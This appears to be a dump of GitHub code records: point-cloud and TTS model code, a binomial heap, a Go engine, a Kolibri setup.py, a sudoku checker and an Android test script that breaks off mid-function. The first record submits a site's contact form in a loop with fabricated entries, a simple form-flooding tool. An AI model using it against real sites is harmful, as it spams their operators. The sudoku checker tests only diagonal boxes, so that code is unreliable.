'))\naddress = 'https://address.site/contact_page/here/'\nbrowser = mechanize.Browser()\nbrowser.open(address)\n\nfor time in range(0, times):\n browser.select_form(nr = 2)\n browser.form['name'] = 'Name ' + str(time)\n browser.form['email'] = 'em@il' + str(time) + '.com'\n browser.form['fone'] = '+5585999999999'\n browser.form['subject'] = 'Subject ' + str(time)\n browser.form['message'] = 'Message ' + str(time)\n browser.submit()\n print(time)\n","repo_name":"ifreire/using_mechanize","sub_path":"submit_form.py","file_name":"submit_form.py","file_ext":"py","file_size_in_byte":1111,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"28187717646","text":"import torch\nfrom torch import nn as nn\nfrom torch.nn import functional as F\nfrom mmcv.runner import BaseModule, ModuleList, auto_fp16\nfrom mmcv.cnn import ConvModule\n\nfrom mmdet3d.ops import PointFPModule, build_sa_module\nfrom mmdet.models import BACKBONES\n\n\nclass SA_Layer(nn.Module):\n\n def __init__(self, channels):\n super(SA_Layer, self).__init__()\n self.q_conv = nn.Conv1d(channels, channels // 4, 1, bias=False)\n self.k_conv = nn.Conv1d(channels, channels // 4, 1, bias=False)\n self.q_conv.weight = self.k_conv.weight\n self.q_conv.bias = self.k_conv.bias\n\n self.v_conv = nn.Conv1d(channels, channels, 1)\n self.trans_conv = nn.Conv1d(channels, channels, 1)\n self.after_norm = nn.BatchNorm1d(channels)\n self.act = nn.ReLU()\n self.softmax = nn.Softmax(dim=-1)\n\n def forward(self, x):\n # b, n, c\n x_q = self.q_conv(x).permute(0, 2, 1)\n # b, c, n\n x_k = self.k_conv(x)\n x_v = self.v_conv(x)\n # b, n, n\n energy = torch.bmm(x_q, x_k)\n\n attention = self.softmax(energy)\n attention = attention / (1e-9 + attention.sum(dim=1, keepdim=True))\n # b, c, n\n x_r = torch.bmm(x_v, attention)\n x_r = self.act(self.after_norm(self.trans_conv(x - x_r)))\n x = x + x_r\n return x\n\n\n@BACKBONES.register_module()\nclass Point_Transformer(BaseModule):\n \"\"\"Point_Transformer single scale.\n\n Args:\n\n \"\"\"\n\n def __init__(self,\n in_channels,\n out_channels=1024,\n channels=128,\n num_stages=4,\n conv_cfg=dict(type='Conv1d'),\n norm_cfg=dict(type='BN1d'),\n act_cfg=dict(type='ReLU'),\n init_cfg=None):\n super(Point_Transformer, self).__init__(init_cfg=init_cfg)\n\n self.num_stages = num_stages\n\n self.point_embedding = ConvModule(\n in_channels,\n channels,\n 1,\n conv_cfg=conv_cfg,\n norm_cfg=norm_cfg,\n act_cfg=act_cfg)\n self.conv = ConvModule(\n channels,\n channels,\n 1,\n conv_cfg=conv_cfg,\n norm_cfg=norm_cfg,\n act_cfg=act_cfg)\n\n self.sa = ModuleList()\n for _ in range(self.num_stages):\n self.sa.append(SA_Layer(channels))\n\n self.conv_fuse = ConvModule(\n channels * num_stages,\n out_channels,\n 1,\n conv_cfg=conv_cfg,\n norm_cfg=norm_cfg,\n act_cfg=dict(type='LeakyReLU', negative_slope=0.2))\n\n @auto_fp16()\n def forward(self, points):\n # b, n, c --> b, c, n\n x = points.permute(0, 2, 1)\n x = self.point_embedding(x)\n x = self.conv(x)\n\n features = []\n for i in range(self.num_stages):\n x = self.sa[i](x)\n features.append(x)\n x = torch.cat(features, dim=1)\n out = self.conv_fuse(x)\n return out\n","repo_name":"Whu-gaozhao/my_mmdetection3d","sub_path":"mmdet3d/models/backbones/pct.py","file_name":"pct.py","file_ext":"py","file_size_in_byte":3020,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"43341924194","text":"from math import inf\n\nfrom matplotlib.pyplot import plot\nfrom .priority_queue import PriorityQueue\nfrom .plot_trees import TreeNode, construct_tree_nodes, plot_tree\n\nclass Node:\n def __init__(self, k):\n self.k = k\n self.children = []\n \n @property\n def degree(self):\n return len(self.children)\n \n def add(self, other):\n if self.degree != other.degree:\n raise ValueError(\"Cannot merge binomial trees of different size\")\n self.children.insert(0, other)\n \n \nclass MergableHeap(PriorityQueue):\n def __init__(self, arr=[], ascending=False):\n self.trees = dict()\n self.bit = -1\n self.ascending = ascending\n if ascending:\n self.compare = lambda x, y: x < y\n else:\n self.compare = lambda x, y: x > y\n for x in arr:\n self.insert(x)\n \n def from_trees(self, trees):\n for tree in trees:\n self.trees[tree.degree] = tree\n if tree.degree > self.bit:\n self.bit = tree.degree\n\n def __peek_node(self):\n m, trees_k = inf, -1\n for i, node in self.trees.items():\n if self.compare(node.k, m):\n m = node.k\n trees_k = i\n return self.trees[trees_k]\n \n def peek(self):\n return self.__peek_node().k\n \n def union(self, other):\n if self.ascending != other.ascending:\n raise ValueError(\"Two Mergable Heaps have different order\")\n if other.bit == -1:\n return\n if self.bit == -1:\n self.trees = other.trees\n self.bit = other.bit\n return\n bit, max_bit = 0, max(self.bit, other.bit)\n new_trees = dict()\n reg = []\n while bit <= max_bit:\n if self.trees.get(bit):\n reg.append(self.trees[bit])\n if other.trees.get(bit):\n reg.append(other.trees[bit])\n if len(reg) == 1:\n new_trees[bit] = reg.pop()\n elif len(reg) == 2:\n t1 = reg.pop()\n t2 = reg.pop()\n if self.compare(t1.k, t2.k):\n t1.add(t2)\n reg.append(t1)\n else:\n t2.add(t1)\n reg.append(t2)\n elif len(reg) == 3:\n new_trees[bit] = reg.pop()\n t1 = reg.pop()\n t2 = reg.pop()\n if self.compare(t1.k, t2.k):\n t1.add(t2)\n reg.append(t1)\n else:\n t2.add(t1)\n reg.append(t2)\n bit += 1\n if len(reg) == 1:\n new_trees[bit] = reg.pop()\n else:\n bit -= 1\n self.trees = new_trees\n self.bit = bit\n \n def insert(self, k):\n if len(self.trees) == 0:\n self.trees[0] = Node(k)\n self.bit = 0\n else:\n new_mh = MergableHeap([k], ascending=self.ascending)\n self.union(new_mh)\n \n \n def pull(self):\n m = self.__peek_node()\n del self.trees[m.degree]\n other = MergableHeap(ascending=self.ascending)\n other.from_trees(m.children)\n self.union(other)\n return m.k\n \n def plot(self, path):\n forest_root = TreeNode(\"\")\n for tree in self.trees.values():\n forest_root.children.append(construct_tree_nodes(tree, label_fn=lambda x: x.k, children_attr =\"children\"))\n return plot_tree(forest_root, path)\n \n","repo_name":"haoda-li/notebook","sub_path":"notebook/csc265/assets/mergeable_heap.py","file_name":"mergeable_heap.py","file_ext":"py","file_size_in_byte":3590,"program_lang":"python","lang":"en","doc_type":"code","stars":27,"dataset":"github-code","pt":"52"} +{"seq_id":"3067432500","text":"import torch\nimport torch.nn as nn\nfrom tqdm import tqdm\n\n\nclass Engine():\n def __init__(self, train_config, train_loader, val_loader, device):\n self.train_config = train_config\n self.train_loader = train_loader\n self.val_loader = val_loader\n self.device = device \n \n def loss_fn(self, true_mel, \n true_stop_token, \n pred_mel_post, \n pred_mel, \n pred_stop_token):\n \n mel_loss = nn.L1Loss()(pred_mel, true_mel) + nn.L1Loss()(pred_mel_post, true_mel)\n bce_loss = nn.BCEWithLogitsLoss(pos_weight=torch.tensor(self.train_config.bce_weight))(pred_stop_token.squeeze(), true_stop_token)\n \n \n return mel_loss, bce_loss\n\n def train_step(self, model, optimizer, scheduler):\n running_loss = 0\n mel_losses = 0\n bce_losses = 0\n model.train()\n optimizer.zero_grad()\n for data in tqdm(self.train_loader):\n character = data['text'].to(self.device)\n mel = data['mel'].to(self.device)\n mel_input = data['mel_input'].to(self.device)\n pos_text = data['pos_text'].to(self.device)\n pos_mel = data['pos_mel'].to(self.device)\n stop_token = data['stop_tokens'].to(self.device)\n \n mel_out, postnet_out, stop_pred, enc_attn_list, mask_attn_list, enc_dec_attn_list = model(\n character, mel_input, pos_text, pos_mel)\n mel_loss, bce_loss = self.loss_fn(mel, stop_token, postnet_out, mel_out, stop_pred)\n \n mel_losses += mel_loss\n bce_losses += bce_loss\n loss = mel_loss + bce_loss\n running_loss += loss\n loss.backward()\n nn.utils.clip_grad_norm_(model.parameters(), 1.)\n optimizer.step()\n scheduler.step()\n \n epoch_loss = running_loss/len(self.train_loader)\n mel_losses = mel_losses/len(self.train_loader)\n bce_losses = bce_losses/len(self.train_loader)\n return epoch_loss, mel_losses, bce_losses, enc_attn_list, mask_attn_list, enc_dec_attn_list\n \n \n def val_step(self, model):\n model.eval()\n running_loss = 0\n mel_losses = 0\n bce_losses = 0\n with torch.no_grad():\n for data in tqdm(self.val_loader):\n character = data['text'].to(self.device)\n mel = data['mel'].to(self.device)\n mel_input = data['mel_input'].to(self.device)\n pos_text = data['pos_text'].to(self.device)\n pos_mel = data['pos_mel'].to(self.device)\n stop_token = data['stop_tokens'].to(self.device)\n\n mel_out, postnet_out, stop_pred, enc_attn_list, mask_attn_list, enc_dec_attn_list = model(\n character, mel_input, pos_text, pos_mel)\n mel_loss, bce_loss = self.loss_fn(\n mel, stop_token, postnet_out, mel_out, stop_pred)\n\n mel_losses += mel_loss\n bce_losses += bce_loss\n loss = mel_loss + bce_loss\n running_loss += loss\n \n epoch_loss = running_loss/len(self.val_loader)\n mel_losses = mel_losses/len(self.val_loader)\n bce_losses = bce_losses/len(self.val_loader)\n return epoch_loss, mel_losses, bce_losses, enc_attn_list, mask_attn_list, enc_dec_attn_list\n","repo_name":"yw0nam/TransformerTTS","sub_path":"regacy/engine.py","file_name":"engine.py","file_ext":"py","file_size_in_byte":3462,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"9482318539","text":"import copy\nfrom .gotypes import Player\n\n\nclass Move():\n def __init__(self, point=None, is_pass=False, is_regin=False):\n assert (point is not None) ^ is_pass ^ is_regin\n self.point = point\n self.is_play = (point is not None) # 落子\n self.is_pass = is_pass # 跳过\n self.is_regin = is_regin # 认输\n\n @classmethod # classmethod 修饰符对应的函数不需要实例化\n def play(cls, point):\n return Move(point=point) # 在棋盘上落下一颗棋子\n\n @classmethod\n def pass_turn(cls):\n return Move(is_pass=True)\n\n @classmethod\n def regin(cls):\n return Move(is_regin=True)\n\n\nclass GoString():\n def __init__(self, color, stones, liberties):\n self.color = color\n self.stones = set(stones)\n self.liberties = set(liberties)\n\n def remove_liberty(self, point):\n self.liberties.remove(point)\n # def remove_liberty(self, point):\n # self.liberties.remove(point)\n\n def add_liberty(self, point):\n self.liberties.add(point)\n\n def merged_with(self, go_string): # 合并棋链的函数\n assert go_string.color == self.color\n combined_stones = self.stones | go_string.stones\n return GoString(\n self.color,\n combined_stones,\n (self.liberties | go_string.liberties) - combined_stones) # 气指的是棋链还剩的气眼\n\n @property\n def num_liberties(self):\n return len(self.liberties)\n\n def __eq__(self, other):\n return isinstance(other, GoString) and \\\n self.color == other.color and \\\n self.stones == other.stones and \\\n self.liberties == other.liberties\n # 比较两个值是否相等\n\n\nclass Board(): # 定义棋盘类\n def __init__(self, num_rows, num_cols):\n self.num_rows = num_rows\n self.num_cols = num_cols\n self._grid = {}\n\n def is_on_grid(self, point):\n return 1 <= point.row <= self.num_rows and \\\n 1 <= point.col <= self.num_cols\n\n def get(self, point): # 返回棋盘交叉点的颜色\n string = self._grid.get(point)\n if string is None:\n return None\n return string.color\n\n def get_go_string(self, point): # 返回一个交叉点上的整条棋链\n string = self._grid.get(point)\n if string is None:\n return None\n return string\n\n # def place_stone(self, player, point):\n # assert self.is_on_grid(point)\n # assert self._grid.get(point) is None\n # adjacent_same_color = []\n # adjacent_opposiet_color = []\n # liberties = []\n # for neighbor in point.neighbors():\n # if not self.is_on_grid(neighbor):\n # continue\n # # pdb.set_trace()\n # neighbor_string = self._grid.get(neighbor)\n\n # if neighbor_string is None:\n # liberties.append(neighbor) # 如果没被占据说明还有气那么我们增加\n # elif neighbor_string.color == player:\n # if neighbor_string not in adjacent_same_color:\n\n # adjacent_same_color.append(neighbor_string)\n # else:\n # if neighbor_string not in adjacent_opposiet_color:\n # adjacent_opposiet_color.append(neighbor_string)\n # new_string = GoString(player, [point], liberties)\n # for same_color_string in adjacent_same_color:\n # new_string = new_string.merged_with(same_color_string)\n # for new_string_point in new_string.stones:\n # self._grid[new_string_point] = new_string\n # for other_color_string in adjacent_opposiet_color:\n # other_color_string.remove_liberty(point) # 减少对面棋子的气\n # for other_color_string in adjacent_opposiet_color:\n # if other_color_string.num_liberties == 0:\n # self._remove_string(other_color_string)\n # # 如果气全部提走,那么我们将该链全部取消\n def place_stone(self, player, point):\n assert self.is_on_grid(point)\n assert self._grid.get(point) is None\n adjacent_same_color = []\n adjacent_opposite_color = []\n liberties = []\n for neighbor in point.neighbors(): # <1>\n if not self.is_on_grid(neighbor):\n continue\n neighbor_string = self._grid.get(neighbor)\n if neighbor_string is None:\n liberties.append(neighbor)\n elif neighbor_string.color == player:\n if neighbor_string not in adjacent_same_color:\n adjacent_same_color.append(neighbor_string)\n else:\n if neighbor_string not in adjacent_opposite_color:\n adjacent_opposite_color.append(neighbor_string)\n new_string = GoString(player, [point], liberties)\n# <1> First, we examine direct neighbors of this point.\n# end::board_place_0[]\n# tag::board_place_1[]\n for same_color_string in adjacent_same_color: # <1>\n new_string = new_string.merged_with(same_color_string)\n for new_string_point in new_string.stones:\n self._grid[new_string_point] = new_string\n for other_color_string in adjacent_opposite_color: # <2>\n other_color_string.remove_liberty(point)\n for other_color_string in adjacent_opposite_color: # <3>\n if other_color_string.num_liberties == 0:\n self._remove_string(other_color_string)\n def _remove_string(self, string):\n for point in string.stones:\n for neighbor in point.neighbors():\n neighbor_string = self._grid.get(neighbor)\n if neighbor_string is None:\n continue\n if neighbor_string is not string:\n neighbor_string.add_liberty(point) # 如果一个棋链被提走则气会增加\n self._grid[point] = None\n# 游戏状态类包括棋子中的下一回合执子方,上一回合的游戏状态以及上一步动作\n\n\nclass GameState():\n def __init__(self, board, next_player, previous, move):\n self.board = board\n self.next_player = next_player\n self.previous_state = previous\n self.last_move = move\n\n def apply_move(self, move):\n if move.is_play:\n next_board = copy.deepcopy(self.board) # 深度拷贝,被复制的对象作为一个新的对象存在\n next_board.place_stone(self.next_player, move.point)\n else:\n next_board = self.board\n return GameState(next_board, self.next_player.other, self, move)\n\n @classmethod\n def new_game(cls, board_size):\n if isinstance(board_size, int):\n board_size = (board_size, board_size)\n board = Board(*board_size)\n return GameState(board, Player.black, None, None)\n\n def is_over(self):\n if self.last_move is None:\n return False\n if self.last_move.is_regin:\n return True\n second_last_move = self.previous_state.last_move\n if second_last_move is None:\n return False\n return self.last_move.is_pass and second_last_move.is_pass # 如果两方都选择不下那么本局结束\n\n def is_move_self_capture(self, player, move):\n if not move.is_play:\n return False\n next_board = copy.deepcopy(self.board)\n next_board.place_stone(player, move.point)\n new_string = next_board.get_go_string(move.point)\n return new_string.num_liberties == 0 # 判断是否到自吃的地步\n\n @property\n def situation(self):\n return (self.next_player, self.board)\n\n def does_move_violate_ko(self, player, move):\n if not move.is_play:\n return False\n next_board = copy.deepcopy(self.board)\n next_board.place_stone(player, move.point)\n next_situation = (player.other, next_board) # 这个状态代表即将下子的人和当前棋局的样子\n past_state = self.previous_state\n while past_state is not None:\n if past_state.situation == next_situation:\n return True\n past_state = past_state.previous_state # 个人感觉这个速度挺慢的\n return False\n\n def is_valid_move(self, move):\n if self.is_over():\n return False\n if move.is_pass or move.is_regin:\n return True\n return (\n self.board.get(move.point) is None and\n not self.is_move_self_capture(self.next_player, move) and\n not self.does_move_violate_ko(self.next_player, move)\n\n )\n","repo_name":"liujiawen-jpg/code1","sub_path":"dlgo/goboard_slow.py","file_name":"goboard_slow.py","file_ext":"py","file_size_in_byte":8688,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"52"} +{"seq_id":"17818695880","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nfrom __future__ import absolute_import, print_function, unicode_literals\nimport logging\nfrom setuptools import setup\nimport kolibri_oidc_client_plugin\n\n\ndist_name = 'kolibri_oidc_client_plugin'\n\n\n# Default description of the distributed package\ndescription = (\n \"\"\"Kolibri plugin to authenticate using an OpenID Connect provider\"\"\"\n)\n\n\ndef enable_log_to_stdout(logname):\n \"\"\"Given a log name, outputs > INFO to stdout.\"\"\"\n log = logging.getLogger(logname)\n log.setLevel(logging.DEBUG)\n ch = logging.StreamHandler()\n ch.setLevel(logging.DEBUG)\n # create formatter\n formatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s')\n # add formatter to ch\n ch.setFormatter(formatter)\n # add ch to logger\n log.addHandler(ch)\n\n\nlong_description = \"\"\"\n`Kolibri `_ is the offline learning platform\nfrom `Learning Equality `_.\n\nOpenID Connect (OIDC) is a simple identity layer on top of the OAuth 2.0 protocol. It allows Clients to verify the identity of the End-User based on the authentication performed by an Authorization Server, as well as to obtain basic profile information about the End-User in an interoperable and REST-like manner.).\n\nThis package provides Kolibri users with the ability to authenticate against an OpenID provider. This is usually a need when integrating it with another applications sharing a Single Sign On (SSO) authentication.\n\"\"\"\n\nsetup(\n name=dist_name,\n version=kolibri_oidc_client_plugin.__version__,\n description=description,\n long_description=long_description,\n author='Learning Equality',\n author_email='info@learningequality.org',\n url='https://github.com/learningequality/kolibri-oidc-client-plugin',\n packages=[\n str('kolibri_oidc_client_plugin'), # https://github.com/pypa/setuptools/pull/597\n ],\n entry_points={\n \"kolibri.plugins\": \"kolibri_oidc_client_plugin = kolibri_oidc_client_plugin\",\n },\n package_dir={'kolibri_oidc_client_plugin': 'kolibri_oidc_client_plugin'},\n include_package_data=True,\n license='MIT',\n install_requires=['mozilla-django-oidc==1.2.4', 'kolibri>=0.15'],\n extras_require={\n 'dev': [\n 'setuptools',\n 'wheel>=0.34.1',\n 'twine',\n ]\n },\n zip_safe=False,\n keywords='kolibri',\n classifiers=[\n 'Development Status :: 4 - Beta',\n 'Framework :: Django',\n 'Intended Audience :: Developers',\n 'License :: OSI Approved :: MIT License',\n 'Natural Language :: English',\n 'Programming Language :: Python :: 2',\n 'Programming Language :: Python :: 2.7',\n 'Programming Language :: Python :: 3',\n 'Programming Language :: Python :: 3.3',\n 'Programming Language :: Python :: 3.4',\n 'Programming Language :: Python :: 3.5',\n 'Programming Language :: Python :: Implementation :: PyPy',\n 'Topic :: Education :: Computer Aided Instruction (CAI)',\n 'Topic :: System :: Systems Administration :: Authentication/Directory'\n ],\n)\n","repo_name":"learningequality/kolibri-oidc-client-plugin","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":3159,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"52"} +{"seq_id":"38903392004","text":"\"\"\"\r\nWrite a function done_or_not/DoneOrNot passing a board (list[list_lines]) as parameter.\r\nIf the board is valid return 'Finished!', otherwise return 'Try again!'\r\n\"\"\"\r\n\r\n\r\ndef done_or_not(board): # board[i][j]\r\n if len(board) != 9:\r\n return 'Try again!'\r\n else:\r\n for line in board:\r\n if (len(line) != 9) or (len(line) > len(set(line))) or (sum(line) != 45):\r\n return 'Try again!'\r\n else:\r\n for i in range(0, 9):\r\n vert_list = [board[0][i], board[1][i], board[2][i],\r\n board[3][i], board[4][i], board[5][i],\r\n board[6][i], board[7][i], board[8][i]]\r\n if sum(vert_list) != 45 or (len(vert_list) > len(set(vert_list))):\r\n return 'Try again!'\r\n else:\r\n for i in range(0, 7, 3):\r\n region = [board[i][i], board[i][i + 1], board[i][i + 2],\r\n board[i + 1][i], board[i + 1][i + 1], board[i + 1][i + 2],\r\n board[i + 2][i], board[i + 2][i + 1], board[i + 2][i + 2]]\r\n if sum(region) != 45 or (len(region) > len(set(region))):\r\n return 'Try again!'\r\n else:\r\n return 'Finished!'\r\n","repo_name":"sulcjusz/DP-Portfolio","sub_path":"CodewarsSolutions/check_sudoku.py","file_name":"check_sudoku.py","file_ext":"py","file_size_in_byte":1313,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"31223716384","text":"# -*- encoding=utf8 -*-\n__author__ = \"zheng.cong\"\n\nfrom airtest.core.api import *\nimport time\nimport pytest\nimport os, sys\nfrom airtest.core.api import *\n\nimport logging\nimport airtest.utils.logger as logger\nlogger.get_logger(\"airtest\").setLevel(logging.ERROR)\n\nclass Get_config(object):\n\tdef __init__(self):\n\t\tself.path = 'Z:\\\\publish\\\\android\\\\China\\\\6.9.1\\\\pilot_run'\n\n\tdef get_apks_name(self):\n\t\treturn ([os.path.join(root, filename) for root, dirs, files, in os.walk(self.path) for filename in files if filename.endswith('apk')])\n\n\tdef get_devices():\n\t\tos.system('adb kill-server')\n\t\tos.system('adb start-server')\n\t\tconnect_device(\"Android://127.0.0.1:5037/172.16.2.144:7777\")\n\t\tprint('设备已连接:', device())\n\n\tdef get_channel_name(apkName):\n\t\twhole_channelName = os.path.basename(apkName)\n\t\tif whole_channelName.split('_')[2].isdigit():\n\t\t\tchannelName = whole_channelName.split('_')[1]\n\t\telse:\n\t\t\tchannelName = whole_channelName.split('_')[1] + '_' + whole_channelName.split('_')[2]\n\t\treturn channelName\n\nclass channelLogin():\n\tdef __init__(self, channelName):\n\t\tself.channelName = channelName\n\tdef channelLogin(self):\n\t\tif self.channelName == 'vivo':\n\t\t\tif exists(Template(r\"tpl1570873650954.png\", record_pos=(-0.261, 0.714), resolution=(1080, 1920))):\n\t\t\t\tsleep(1)\n\t\t\t\ttouch(Template(r\"tpl1570873650954.png\", record_pos=(-0.261, 0.714), resolution=(1080, 1920)))\n\t\t\t\tsleep(1)\n\n\t\telif self.channelName == 'oppo':\n\t\t\tif exists(Template(r\"tpl1570873720097.png\", record_pos=(0.355, -0.363), resolution=(1080, 1920))):\n\t\t\t\tsleep(1)\n\n\t\t\t\ttouch(Template(r\"tpl1570873720097.png\", record_pos=(0.355, -0.363), resolution=(1080, 1920)))\n\t\t\t\tsleep(1)\n\n\t\t\telif exists(Template(r\"tpl1570874787685.png\", record_pos=(-0.27, 0.716), resolution=(1080, 1920))):\n\t\t\t\tsleep(1)\n\n\t\t\t\ttouch(Template(r\"tpl1570874787685.png\", record_pos=(-0.27, 0.716), resolution=(1080, 1920)))\n\t\t\t\tsleep(1)\n\n\t\telif self.channelName == 'huawei' or self.channelName == 'qq_huawei':\n\t\t\tprint(self.channelName)\n\t\t\tif exists(Template(r\"tpl1570873588104.png\", record_pos=(-0.207, 0.696), resolution=(1080, 1920))):\n\t\t\t\ttouch(Template(r\"tpl1570873588104.png\", record_pos=(-0.207, 0.696), resolution=(1080, 1920)))\n\t\t\t\tsleep(1)\n\n\t\t\telif exists(Template(r\"tpl1571387538084.png\", record_pos=(0.445, -0.54), resolution=(1080, 1920))):\n\t\t\t\ttouch(Template(r\"tpl1571387538084.png\", record_pos=(0.445, -0.54), resolution=(1080, 1920)))\n\t\t\t\tsleep(1)\n\n\t\telif self.channelName == 'tencent' or self.channelName == 'qq_browser' or self.channelName == 'qq_guanjia':\n\t\t\tif exists(Template(r\"tpl1570873686930.png\", record_pos=(0.001, 0.682), resolution=(1080, 1920))):\n\t\t\t\tsleep(1)\n\t\t\t\ttouch(Template(r\"tpl1570873686930.png\", record_pos=(0.001, 0.682), resolution=(1080, 1920)))\n\t\t\t\tsleep(1)\n\nclass Test_updateCheck(object):\n\n\tdef teardown_class(self):\n\t\tfor apkName in device().list_app():\n\t\t\tif 'jelly' in apkName:\n\t\t\t\tuninstall(apkName)\n\n\t@pytest.fixture\n\tdef log(self):\n\t\tlog_for_test = logging.getLogger('test_check')\n\t\tlog_for_test.setLevel(logging.INFO)\n\t\treturn log_for_test\n\n\t@pytest.fixture\n\tdef channelName(self, apkName):\n\t\twhole_channelName = os.path.basename(apkName)\n\t\tif whole_channelName.split('_')[2].isdigit():\n\t\t\tchannelName = whole_channelName.split('_')[1]\n\t\telse:\n\t\t\tchannelName = whole_channelName.split('_')[1] + '_' + whole_channelName.split('_')[2]\n\t\treturn channelName\n\t# @pytest.mark.usefixtures('device_connect')\n\t# 使用usefixtures的方法会报错——无法识别出fixture的返回(识别成了function)\n\t# fixture配置成auto且下方不将device_connect配置为参数也会报错,信息同上\n\t# @pytest.mark.parametrize(\"apkName\", Get_config().get_apks_name())\n\tdef test_install_apks(self, apkName, channelName, log):\n\t\tprint('start install %s'%(channelName))\n\t\tis_installed = False\n\t\tdevice().install_app(apkName, replace=True)\n\t\tsleep(10)\n\t\tfor apkName in device().list_app():\n\t\t\tif 'jelly' in apkName:\n\t\t\t\tis_installed = True\n\t\t\t\tbreak\n\t\tassert is_installed, '低版本安装失败'\n\t\tlog.info('低版本%s安装成功'%(channelName))\n\n\t@pytest.mark.incremental\n\tdef test_start_apk(self, log):\n\t\tstart_game = False\n\t\tfor i in device().list_app():\n\t\t\tif 'jelly' in i:\n\t\t\t\tstart_app(i)\n\t\t\t\tsleep(10)\n\t\t\t\tif exists(Template(r\"tpl1570782102183.png\", record_pos=(0.244, 0.806), resolution=(1080, 1920))):\n\t\t\t\t\tstart_game = True\n\t\t\t\t\tbreak\n\t\t# 这里应该判断一下当前运行的app, 但由于有权限弹窗干扰了判断\n\t\t# air_adb = r'C:\\Users\\zheng.cong\\AppData\\Local\\Programs\\Python\\Python37\\lib\\site-packages\\airtest\\core\\android\\static\\adb\\windows\\adb'\n\t\t# cur_app = os.popen(air_adb + ' shell dumpsys window | findstr mCurrentFocus').readlines()\n\t\t# for i in cur_app:\n\t\t# \tif 'jelly' in cur_app:\n\t\t# \t\tstart_game = True\n\t\tassert start_game, '启动失败'\n\t\tlog.info('启动游戏')\n\n\tdef is_in_game(self):\n\t\tif exists(Template(r\"tpl1570782212384.png\", record_pos=(0.427, -0.824), resolution=(1080, 1920))):\n\t\t\ttouch(Template(r\"tpl1570782212384.png\", record_pos=(0.427, -0.824), resolution=(1080, 1920)))\n\t\t\tif exists(Template(r\"tpl1571210117925.png\", record_pos=(0.101, -0.027), resolution=(1080, 1920))):\n\t\t\t\ttouch(Template(r\"tpl1571210148111.png\", record_pos=(0.431, -0.647), resolution=(1080, 1920)))\n\t\t\t\treturn True\n\t\telse:\n\t\t\treturn False\n\n\tdef phone_authorized(self):\n\t\tif exists(Template(r\"tpl1570782102183.png\", record_pos=(0.244, 0.806), resolution=(1080, 1920))):\n\t\t\tsleep(1)\n\n\t\t\ttouch(Template(r\"tpl1570782102183.png\", record_pos=(0.244, 0.806), resolution=(1080, 1920)))\n\t\t\tsleep(1)\n\t\t\tif exists(Template(r\"tpl1570782102183.png\", record_pos=(0.244, 0.806), resolution=(1080, 1920))):\n\t\t\t\tsleep(1)\n\n\t\t\t\ttouch(Template(r\"tpl1570782102183.png\", record_pos=(0.244, 0.806), resolution=(1080, 1920)))\n\t\t\t\tsleep(1)\n\t\t\t\tif exists(Template(r\"tpl1570782102183.png\", record_pos=(0.244, 0.806), resolution=(1080, 1920))):\n\t\t\t\t\tsleep(1)\n\n\t\t\t\t\ttouch(Template(r\"tpl1570782102183.png\", record_pos=(0.244, 0.806), resolution=(1080, 1920)))\n\t\t\t\t\tsleep(1)\n\n\t@pytest.mark.incremental\n\tdef test_get_in_game(self, channelName, log):\n\t\ttryNum = 1\n\t\twhile not self.is_in_game():\n\t\t\tis_in_game = False\n\t\t\tself.phone_authorized()\n\t\t\tsleep(10)\n\t\t\ttry_login = channelLogin(channelName).channelLogin()\n\t\t\tsleep(5)\n\t\t\tif exists(Template(r\"tpl1570862752616.png\", record_pos=(-0.062, -0.042), resolution=(1080, 1920))):\n\t\t\t\ttouch(Template(r\"tpl1570862752616.png\", record_pos=(-0.062, -0.042), resolution=(1080, 1920)))\n\t\t\tif tryNum == 4:\n\t\t\t\tsnapshot('G:\\\\Airtest\\\\test_upadte.air\\\\' + channelName + '_登录失败.png')\n\t\t\t\tbreak\n\t\t\ttryNum += 1\n\t\telse:\n\t\t\tis_in_game = True\n\t\t\t# print('执行点击')\n\t\t\tif exists(Template(r\"tpl1570862752616.png\", record_pos=(-0.062, -0.042), resolution=(1080, 1920))):\n\t\t\t\ttouch(Template(r\"tpl1570862752616.png\", record_pos=(-0.062, -0.042), resolution=(1080, 1920)))\n\t\tassert is_in_game, '进入游戏失败,需要处理前置渠道登录等'\n\t\tlog.info('进入游戏主界面')\n\n\t@pytest.mark.incremental\n\tdef test_update_opened(self, log):\n\t\ttry:\n\t\t\tif exists(Template(r\"tpl1570779032974.png\", record_pos=(-0.426, -0.654), resolution=(1080, 1920))):\n\t\t\t\ttouch(Template(r\"tpl1570779032974.png\", record_pos=(-0.426, -0.654), resolution=(1080, 1920)))\n\t\t\t\tsleep(1)\n\t\t\t\ttouch(Template(r\"tpl1570779065225.png\", record_pos=(0.009, 0.315), resolution=(1080.0, 1920.0)))\n\t\t\t\tsleep(1)\n\t\t\t\tis_update_opened = True\n\t\t\telse:\n\t\t\t\tis_update_opened = False\n\t\t\t\tsnapshot('G:\\\\Airtest\\\\test_upadte.air\\\\' + channelName + '_无更新提醒主界面截图.png')\n\t\texcept:\n\t\t\tsnapshot('G:\\\\Airtest\\\\test_upadte.air\\\\' + channelName + '_无更新提醒主界面截图.png')\n\t\t\tis_update_opened = False\n\t\tassert is_update_opened, '此渠道更新提醒未开启'\n\t\tlog.info('开启了更新提醒')\n\n\t@pytest.mark.incremental\n\tdef test_is_downloading(self, log):\n\t\ttry:\n\t\t\t# 有时候点击开始下载出现进度条后会立即失败,多试几次\n\t\t\tsleep(3)\n\t\t\ttryNum = 1\n\t\t\twhile not exists(Template(r\"tpl1570793068491.png\", record_pos=(-0.151, 0.225), resolution=(1080, 1920))):\n\t\t\t\ttouch(Template(r\"tpl1570779032974.png\", record_pos=(-0.426, -0.654), resolution=(1080, 1920)))\n\t\t\t\tsleep(1)\n\t\t\t\ttouch(Template(r\"tpl1570779065225.png\", record_pos=(0.009, 0.315), resolution=(1080.0, 1920.0)))\n\t\t\t\tsleep(1)\n\t\t\t\t# start_update_download(channelName, 